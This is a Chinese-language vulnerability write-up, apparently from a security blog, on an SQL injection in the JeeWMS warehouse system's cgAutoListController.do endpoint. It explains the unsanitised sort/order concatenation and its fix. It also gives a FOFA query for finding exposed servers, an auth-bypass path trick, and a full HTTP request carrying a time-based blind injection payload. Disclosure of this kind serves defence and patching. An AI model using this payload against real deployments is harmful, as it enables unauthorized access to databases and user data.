JeeWMS cgAutoListController.do SQL注入漏洞


漏洞简介

JeeWMS 是基于Java全栈技术打造的智能仓储中枢系统,具备多形态仓储场景深度适配能力(兼容3PL第三方物流与厂内物流双模式)。JeeWMS cgAutoListController.do 接口处存在SQL注入漏洞,未经身份验证的恶意攻击者利用SQL注入漏洞获取数据库中的信息(例如管理员后台密码、站点用户个人信息)之外,攻击者甚至可以在高权限下向服务器写入命令,进一步获取服务器系统权限。

影响版本

低于 20250422 版本

fofa语法

body="url:userController.do?userOrgSelect&userId=" && "loginController.do?changeDefaultOrg"

漏洞分析

直接看 src/main/java/org/jeecgframework/web/cgform/service/impl/autolist/CgTableServiceImpl.java diff 修复前后差异

可以很明显看到修复之前的是直接将 sort 与 order 两个参数直接拼接到sql语句中

@Override
    public List<Map<String, Object>> querySingle(String table, String field, Map params,
                                                 String sort, String order, int page, int rows) {
        StringBuilder sqlB = new StringBuilder();
        dealQuerySql(table,field,params,sqlB);
        if(!StringUtil.isEmpty(sort)&& !StringUtil.isEmpty(order)){
            sqlB.append(" ORDER BY "+sort+" "+ order);
        }
        List<Map<String, Object>> result = commonService.findForJdbcParam(sqlB
                .toString(), page, rows);
        return result;
    }

造成sql注入漏洞,而修复后的增加了sanitizeSort 方法对传入的 sort 使用正则进行检查,如果 sort 不满足正则 [a-zA-Z0-9_]+ 则直接返回 null ,而 sanitizeOrder 方法则检查 order 只能是 ASC 或者 DESC ,避免了SQL注入。

而 此方法的使用有三处地点,如下图所示

其中最后的 ExcelTempletController 不存在 sort 与 order 的调用,为固定的 null ,只有 src/main/java/org/jeecgframework/web/cgform/controller/autolist/CgAutoListController.java 有如下调用

if(isTree && treeId !=null) {
            //防止下级数据太大,最大只取500条
            result=cgTableService.querySingle(table, field.toString(), params,sort,order, 1, 500);
        }else {
            result=cgTableService.querySingle(table, field.toString(), params,sort,order, p,r );
        }

因此根据 JeeWMS 框架的特点,访问URL也就是: /jeewms/cgAutoListController.do (注意 jeewms 不一定存在),结合前面的权限绕过分析文章,也可以是 /jeewms/rest/../cgAutoListController.do

漏洞复现

POST /jeewms/rest/../cgAutoListController.do?datagrid&configId=ba_del_mode&field=id,create_name,create_by,create_date,update_name,update_by,update_date,sys_org_code,sys_company_code,del_mode_code,del_mode_name, HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 160
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8081
Referer: http://localhost:8081/jeewms/cgAutoListController.do?list&id=ba_del_mode&clickFunctionId=8a7ba3345d93bb87015d95e0118500af
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

del_mode_code=&order=desc%2C%28select%2Afrom%28select%2Bsleep%285%29union%2F%2A%2A%2Fselect%2B1%29a%29&page=1&rows=10&searchfield=del_mode_code&sort=create_date

成功延时 5 秒

参考

  • https://gitee.com/erzhongxmu/JEEWMS/issues/IC2IV4

手机扫码阅读

锐捷-EWEB check.php 文件读取漏洞

JeeWMS druid 未授权访问漏洞

评 论